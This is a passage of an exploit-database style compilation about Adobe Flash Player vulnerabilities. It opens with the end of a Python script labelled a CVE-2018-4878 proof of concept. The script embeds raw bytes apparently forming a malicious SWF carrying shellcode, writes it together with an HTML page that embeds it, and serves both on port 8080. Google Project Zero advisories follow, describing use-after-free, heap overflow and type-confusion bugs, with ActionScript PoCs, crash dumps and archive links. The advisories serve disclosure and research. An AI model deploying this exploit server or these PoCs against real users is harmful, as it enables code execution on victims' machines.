\xA0\x74\x63\x06\xF0\x81\x01\x5D\x4E\x62\x06\x46\x4E\x01\x74\x63\x06\xF0\x82\x01\x5D\x4E\x62\x06\x46\x4E\x01\x74\x63\x07\xF0\x83\x01\x5D\x4E\x62\x05\x24\x1C\xA0\x46\x4E\x01\x74\x63\x08\xF0\x84\x01\x5D\x4E\x62\x05\x24\x20\xA0\x46\x4E\x01\x74\x63\x09\xF0\x85\x01\x5D\x47\x66\x47\x5D\x40\x66\x40\x53\x01\x25\x80\x02\x42\x01\x80\x5A\x63\x0A\x10\x24\x00\x00\x09\xF0\x88\x01\x62\x0A\x62\x04\x5D\x4E\x62\x07\x25\x80\x01\xA1\x62\x04\x24\x04\xA2\xA0\x46\x4E\x01\x61\x53\xF0\x89\x01\x62\x04\x91\x74\x63\x04\xF0\x86\x01\x62\x04\x25\x80\x02\x0C\x04\x00\x00\x10\xCC\xFF\xFF\xF0\x8B\x01\x62\x0A\x24\x20\x24\x07\xA0\xD1\x61\x53\xF0\x8C\x01\x5D\x4F\x62\x05\x24\x1C\xA0\xD2\x46\x4F\x02\x29\xF0\x8D\x01\x5D\x4F\x62\x05\x24\x20\xA0\xD3\x46\x4F\x02\x29\xF0\x8E\x01\x5D\x4F\x62\x06\x5D\x49\x62\x0A\x46\x49\x01\x25\x80\x01\xA0\x46\x4F\x02\x29\xF0\x8F\x01\x5D\x3E\x24\x41\x4A\x3E\x01\x80\x3E\x63\x0B\xF0\x90\x01\x5D\x4D\x66\x4D\x66\x1F\x20\x62\x0B\x46\x20\x02\x82\x63\x0C\xF0\x91\x01\x5D\x4F\x62\x06\x62\x07\x46\x4F\x02\x29\xF0\x92\x01\x5D\x4F\x62\x05\x24\x1C\xA0\x62\x08\x46\x4F\x02\x29\xF0\x93\x01\x5D\x4F\x62\x05\x24\x20\xA0\x62\x09\x46\x4F\x02\x29\xF0\x94\x01\x47\x00\x00\x04\x0C\x03\x05\x0A\x92\x03\xD0\x30\x57\x2A\xD5\x30\x65\x01\x24\x00\x6D\x02\xF0\x98\x01\x65\x01\x20\x80\x3E\x6D\x01\xF0\x99\x01\x65\x01\x20\x80\x65\x6D\x03\xF0\x9F\x01\x65\x01\x5D\x3F\x66\x3F\x82\x6D\x08\xF0\xA0\x01\x65\x01\x20\x85\x6D\x09\xF0\xA4\x01\xF0\xA4\x01\x65\x01\x56\x00\x80\x3E\x6D\x01\xF0\xA5\x01\x5D\x42\x66\x42\x66\x43\x24\x00\x61\x44\xF0\xA6\x01\x65\x01\x24\x00\x73\x6D\x02\x10\x24\x00\x00\x09\xF0\xA7\x01\x65\x01\x6C\x01\x5D\x42\x66\x42\x66\x43\x46\x45\x00\x46\x25\x01\x29\xF0\xA6\x01\x65\x01\x65\x01\x6C\x02\x24\x04\xA0\x73\x6D\x02\x65\x01\x6C\x02\x5D\x42\x66\x42\x66\x43\x66\x46\x15\xCC\xFF\xFF\xF0\xA8\x01\x65\x01\x5D\x47\x66\x47\x5D\x40\x66\x40\x53\x01\x64\x65\x01\x6C\x01\x41\x01\x80\x66\x6D\x03\xF0\xAA\x01\x65\x01\x5D\x49\x65\x01\x6C\x03\x46\x49\x01\x74\x6D\x04\xF0\xAC\x01\x65\x01\x5D\x64\x46\x64\x00\x74\x6D\x05\xF0\xAD\x01\x65\x01\x6C\x05\x24\x00\x13\x04\x00\x00\x10\x0B\x00\x00\xF0\xAF\x01\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\x5D\x4B\x65\x01\x6C\x05\x65\x01\x6C\x04\x65\x01\x6C\x03\x66\x46\x24\x04\xA2\x46\x4B\x03\x29\x65\x01\x5D\x4C\x5D\x4D\x66\x4D\x46\x4C\x01\x74\x6D\x06\xF0\xB4\x01\x65\x01\x5D\x4E\x5D\x4E\x65\x01\x6C\x06\x24\x1C\xA0\x46\x4E\x01\x24\x08\xA0\x46\x4E\x01\x24\x04\xA0\x74\x6D\x06\xF0\xB5\x01\x65\x01\x5D\x4E\x65\x01\x6C\x06\x46\x4E\x01\x74\x6D\x07\xF0\xB6\x01\x5D\x4F\x65\x01\x6C\x06\x65\x01\x6C\x04\x46\x4F\x02\x29\xF0\xB8\x01\x65\x01\x5D\x4D\x66\x4D\x20\x5D\x5F\x66\x5F\x46\x1F\x02\x82\x6D\x08\xF0\xBA\x01\x5D\x4F\x65\x01\x6C\x06\x65\x01\x6C\x07\x46\x4F\x02\x29\x47\x10\x18\x00\x00\xD0\x30\xD1\x30\x5A\x00\x2A\xD6\x2A\x30\x2B\x6D\x01\xF0\xBF\x01\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\xF0\xC2\x01\x47\x01\x35\xF2\x02\xF6\x02\x3C\x3D\x09\x29\x00\x01\x1E\x00\x2A\x00\x02\x15\x00\x2B\x00\x03\x1A\x00\x2C\x00\x04\x01\x00\x2D\x00\x05\x01\x00\x2E\x00\x06\x01\x00\x2F\x00\x07\x01\x00\x30\x00\x08\x00\x00\x31\x00\x09\x32\x00\x05\x08\x01\x05\x06\x0E\xF1\x05\xF0\x0C\xD0\x30\xF0\x0E\xD0\x49\x00\xF0\x0F\x47\x00\x00\x06\x09\x01\x01\x04\x3D\xD0\x30\x10\x05\x00\x00\x41\x05\x03\x58\x04\xF1\x05\xF0\x07\x5D\x36\x5D\x37\x66\x37\x10\x04\x00\x00\x16\x1F\x00\x00\x30\x5D\x35\x66\x35\x30\x5D\x35\x66\x35\x58\x00\x1D\x26\x11\x06\x00\x00\x47\x70\x45\x0A\x10\xD5\x1D\x68\x34\xF1\x05\xF0\x05\x47\x00\x00\x1C\x13\x02\x00\x02\x00\x73\x68\x65\x6C\x6C\x63\x6F\x64\x42\x79\x74\x65\x73\x00\x00\x00\x4D\x61\x69\x6E\x45\x78\x70\x00\x40\x00\x00\x00"
print "[+] CVE-2018-4878 poc "
print "[x] files created"
swf = "%s.swf" % flash_name
html = """
<!DOCTYPE html>
<html>
""" + "<embed src=\"" + swf + "\"></embed>" + """
</html>
"""
f = open("%s" % swf, "wb")
f.write(data)
f.close()
f = open("index.html", "wb")
f.write(html)
f.close()
HandlerClass = SimpleHTTPRequestHandler
ServerClass = BaseHTTPServer.HTTPServer
Protocol = "HTTP/1.0"
port = 8080
server_address = ('0.0.0.0', port)
HandlerClass.protocol_version = Protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print "Server ready", sa[0], "port", sa[1], "..."
httpd.serve_forever()
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=719
There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39778.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=628
There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39220.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=398&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
The attached sample, signal_sigsegv_7ffff603deef_1525_268381c02bc3b05c84578ebaeafc02f0.swf, typically crashes in this way on my Linux x64 build (Flash v17.0.0.188):
=> 0x00007f693155bf58: mov (%rdi),%rbx
rdi 0x23c 572
At first glance this might appear to be a NULL dereference but sometimes it crashes trying to access 0xc8 and different builds have shown crashes at much wilder addresses, so there is probably a use-after-free or other non-deterministic condition going on. For example, our fuzzing cluster saw a crash at 0x400000001.
The base sample from which the fuzz case is derived is also attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37868.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=720
There is a heap overflow in the Zlib codecs used when playing flv files in flash. Sample flv files are attached. Load http://127.0.0.1/LoadMP42.swf?file=smalloverflow.flv to reproduce.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39609.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1008
The attached FLV file causes a heap overflow in YUVPlane decoding.
To reproduce, put LoadMP4.swf and yuvplane.flv on a server, and visit 127.0.0.1/LoadMP4.swf?file=yvplane.flv.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41423.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
This issue is a variant of issue 192 , which the fix did not address.
If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection.
A PoC is as follows:
class subsocket extends flash.display.BitmapData{
public function subsocket(){
var n = {valueOf : func};
this.valueOf = func;
var x = new XMLSocket();
x.connect.call(this, "127.0.0.1", this);
}
function func(){
if(this){
}
this.__proto__ = {};
this.__proto__.__constructor__ = flash.display.BitmapData;
super(10, 10, true, 10);
return 80;
}
}
A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37876.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows:
var doc:XML = new XML();
var rootNode:XMLNode = doc.createElement("rootNode");
var oldest:XMLNode = doc.createElement("oldest");
var middle:XMLNode = doc.createElement("middle");
var youngest:XMLNode = doc.createElement("youngest");
var youngest1:XMLNode = doc.createElement("youngest1");
var youngest2:XMLNode = doc.createElement("youngest2");
var youngest3:XMLNode = doc.createElement("youngest3");
// add the rootNode as the root of the XML document tree
doc.appendChild(rootNode);
// add each of the child nodes as children of rootNode
rootNode.appendChild(oldest);
rootNode.appendChild(middle);
rootNode.appendChild(youngest1);
rootNode.appendChild(youngest2);
rootNode.appendChild(youngest3);
// create an array and use rootNode to populate it
var firstArray:Array = rootNode.childNodes;
trace (firstArray.length);
firstArray[0] = "test";
firstArray.watch("length", f);
rootNode.appendChild(youngest);
function f(a, b){
trace("in f " + a + " " + b + " " + c);
if(b == 1){
firstArray.unwatch("length");
middle.removeNode();
oldest.removeNode();
youngest1.removeNode();
youngest2.removeNode();
youngest3.removeNode();
youngest.removeNode();
}
for(var i = 0; i < 100; i++){
var b = new flash.display.BitmapData(100, 1000, true, 1000);
var c = "aaaaaaaaaaaaa";
}
trace("end length " + rootNode.childNodes.length);
}
A sample fla and swf are also attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37859.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=857
The attached fuzz file causes memory corruption when decompressing embedded video content.
Fixed in the September update
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40420.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=629
The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39221.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=842
Several methods in flash return instances of the Rectangle class. There is a use-after-free in creating these objects for return. If the this object of the call is a MovieClip, the Rectangle instantiation will run on its thread. If a getter is added to this class's package, it will be invoked when fetching the rectangle constructor, which can free the method's thread, which will cause the Rectangle constructor to run on a thread which has been freed. A minimal PoC is at follows:
var mc = this.createEmptyMovieClip( "mc", 1);
mc.scrollRect = {x : 0, y : 0, height : 10, width : 10}
var r = flash.geom.Rectangle;
var g = flash.geom;
g.addProperty("Rectangle", func, func);
var f = ASnative(900, 405); //scrollRect
mc.f = f;
mc.f();
function func(){
mc.removeMovieClip();
// fix heap
return r;
}
A PoC and swf are attached. The PoC crashes in Chrome on 64-bit Windows.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40309.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1007
The attached swf causes a use-after-free in applying bitmap filters.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41422.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
A minimal PoC is as follows:
//In main
flash.net.registerClassAlias("bob", myclass);
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
function func(){
trace(u.readObject());
}
// in myclass
static public var u;
public function myclass()
{
u.close();
}
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=410&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
The following crash was observed in Flash Player 17.0.0.188 on Windows:
(81c.854): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37397006 ebx=00000000 ecx=008c0493 edx=09f390d0 esi=08c24d98 edi=09dc2000
eip=07a218cb esp=015eda80 ebp=015edb24 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050216
Flash32_17_0_0_188+0x18cb:
07a218cb ff6004 jmp dword ptr [eax+0x4] ds:0023:3739700a=????????
- The test case reproduces on Windows 7 using IE11. It does not appear to immediately reproduce on Windows+Chrome or Linux+Chrome.
- The crash can also reproduce on one of the two mov instructions prior to the jmp shown here.
- The crash appears to occur due to a use-after-free related to loading a sub-resource from a URL.
- The test case minimizes to an 11-bit difference from the original sample file.
- The following test cases are attached: 2038518113_crash.swf (crashing file), 2038518113_min.swf (minimized file), 2038518113_orig.swf (original non-crashing file).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37875.zip